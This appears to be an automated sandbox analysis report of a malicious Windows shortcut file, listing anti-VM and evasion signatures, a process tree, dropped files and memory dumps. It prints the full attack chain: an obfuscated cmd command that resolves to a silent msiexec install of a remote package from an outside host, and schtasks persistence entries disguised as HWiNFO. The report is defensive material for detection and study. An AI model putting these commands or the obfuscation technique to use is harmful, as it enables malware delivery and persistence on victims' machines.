Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    27/04/2026, 12:18

General

  • Target
    documento-Q51D0R.lnk
  • Size 3KB
  • Sample260427-pgldfsdw6m
  • SHA256 8b9905ef665c872b473d6dbfc4cd100407d6d28d755e570a2e60d4f6b3b33e09
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Enumerates VirtualBox registry keys 2 TTPs 4 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 2 IoCs
  • Looks for VMWare Tools registry key 2 TTPs 2 IoCs
  • Checks BIOS information in registry 2 TTPs 6 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 5 IoCs
  • Identifies Wine through registry keys 2 TTPs 3 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Use of msiexec (install) with remote resource 1 IoCs
  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks whether UAC is enabled 1 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\documento-Q51D0R.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2312
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /C "set nh=s://&set ce=7RQ.m&set wy=ds/&set iz=msiexec&set mq=ota.sbs&set sh=60426&set ha=ta.sbs/p&set bz=si&set hb=ack_202&set ph=1-YVG&set kx=porta&set zm=portal-n&set xj=l-no&set pd=_12042&set ta=http&set ah=/uploa&cmd /D /C %iz% /q /i %ta%%nh%%zm%%mq%%ah%%wy%%kx%%xj%%ha%%hb%%sh%%pd%%ph%%ce%%bz%"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1484
      • C:\Windows\System32\cmd.exe
        cmd /D /C %iz% /q /i %ta%%nh%%zm%%mq%%ah%%wy%%kx%%xj%%ha%%hb%%sh%%pd%%ph%%ce%%bz%
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4468
        • C:\Windows\System32\msiexec.exe
          msiexec /q /i https://portal-nota.sbs/uploads/portal-nota.sbs/pack_20260426_120421-YVG7RQ.msi
          4⤵
          • Use of msiexec (install) with remote resource
          • Event Triggered Execution: Installer Packages
          • Suspicious use of AdjustPrivilegeToken
          PID:4304
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Badlisted process makes network request
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1892
    • C:\Users\Admin\AppData\Roaming\Software de Sistema\Software de Sistema.exe
      "C:\Users\Admin\AppData\Roaming\Software de Sistema\Software de Sistema.exe"
      2⤵
      • Enumerates VirtualBox registry keys
      • Looks for VirtualBox Guest Additions in registry
      • Looks for VMWare Tools registry key
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4316
      • C:\Users\Admin\AppData\Roaming\Software de Sistema\Software de Sistema.exe
        "C:\Users\Admin\AppData\Roaming\Software de Sistema\Software de Sistema.exe"
        3⤵
        • Enumerates VirtualBox registry keys
        • Looks for VirtualBox Guest Additions in registry
        • Looks for VMWare Tools registry key
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1348
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /Create /F /SC ONLOGON /RL HIGHEST /TN "HWiNFO32Setup" /TR "C:\Users\Admin\AppData\Roaming\Software de Sistema\Software de Sistema.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:3588
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /Create /F /SC ONLOGON /RL HIGHEST /TN "HWiNFO32Monitor" /TR "C:\Users\Admin\AppData\Roaming\HWiNFO32\programa.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:4976
        • C:\Users\Admin\AppData\Roaming\HWiNFO32\programa.exe
          "C:\Users\Admin\AppData\Roaming\HWiNFO32\programa.exe"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Checks whether UAC is enabled
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:4544
          • C:\Users\Admin\AppData\Roaming\HWiNFO32\programa.exe
            "C:\Users\Admin\AppData\Roaming\HWiNFO32\programa.exe" --uiaccess
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Checks whether UAC is enabled
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:3052
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /Delete /F /TN "HWiNFO32Setup"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2152
  • C:\Users\Admin\AppData\Roaming\HWiNFO32\programa.exe
    C:\Users\Admin\AppData\Roaming\HWiNFO32\programa.exe
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Executes dropped EXE
    • Identifies Wine through registry keys
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    PID:2736

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        e58d3b8.rbs

        • Path C:\Config.Msi\e58d3b8.rbs
        • Size 8KB
        • SHA256 d43c0234bd4422212bce73bd744346f97f9dee7fdb579738d494590a6e8c3275
        • MD5 SHA1 SHA512 SSDEEP TLSH

        57C8EDB95DF3F0AD4EE2DC2B8CFD4157

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
        • Size 4KB
        • SHA256 0300e9ddb527990e8b59d06e9ccf3ec2bd92d3bbd0ef4fba69d6336e4195e82d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        57C8EDB95DF3F0AD4EE2DC2B8CFD4157

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
        • Size 342B
        • SHA256 933da788fe819f1f7adf62e7af5ab526af04b4bd71a5cee137f59b6e66becc76
        • MD5 SHA1 SHA512 TLSH

        lu.tmp

        • Path C:\Users\Admin\AppData\Roaming\HWiNFO32\lu.tmp
        • Size 43.3MB
        • SHA256 aa4d133a7b343715dee0c41dc6d5fb4a8c5152ddc26188a6829be45df15d6ee9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Software de Sistema.exe

        • Path C:\Users\Admin\AppData\Roaming\Software de Sistema\Software de Sistema.exe
        • Size 50KB
        • SHA256 14470d9974f5a2353d1a90a850f6d5e2e3b2eecfe6db44e3b2133c5762681cdd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI95C3.tmp

        • Path C:\Windows\Installer\MSI95C3.tmp
        • Size 68KB
        • SHA256 4e9b36ca397fcd7ef60b4248581da8e8cb3be705c3878d1d755b1db2fc15ddc1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1348-73-0x0000000004B30000-0x0000000004BD0000-memory.dmp

        memory/1892-10-0x0000019AFC970000-0x0000019AFC9DF000-memory.dmp

        memory/1892-11-0x0000019AFCC70000-0x0000019AFCC7C000-memory.dmp

        memory/1892-34-0x0000019AFC970000-0x0000019AFC9DF000-memory.dmp

        memory/1892-38-0x0000019AFC970000-0x0000019AFC9DF000-memory.dmp

        memory/2312-32-0x000001CAC1980000-0x000001CAC198C000-memory.dmp

        memory/2312-9-0x000001CAC1980000-0x000001CAC198C000-memory.dmp

        memory/2736-78-0x00000000003A0000-0x0000000004A58000-memory.dmp

        memory/3052-107-0x00000000003A0000-0x0000000004A58000-memory.dmp

        memory/3052-119-0x00000000003A0000-0x0000000004A58000-memory.dmp

        memory/3052-114-0x00000000003A0000-0x0000000004A58000-memory.dmp

        memory/3052-111-0x00000000003A0000-0x0000000004A58000-memory.dmp

        memory/3052-108-0x00000000003A0000-0x0000000004A58000-memory.dmp

        memory/3052-104-0x00000000003A0000-0x0000000004A58000-memory.dmp

        memory/4544-82-0x00000000003A0000-0x0000000004A58000-memory.dmp

        memory/4544-101-0x00000000003A0000-0x0000000004A58000-memory.dmp

        memory/4544-84-0x00000000003A0000-0x0000000004A58000-memory.dmp

        memory/4544-83-0x00000000003A0000-0x0000000004A58000-memory.dmp

        memory/4544-74-0x00000000003A0000-0x0000000004A58000-memory.dmp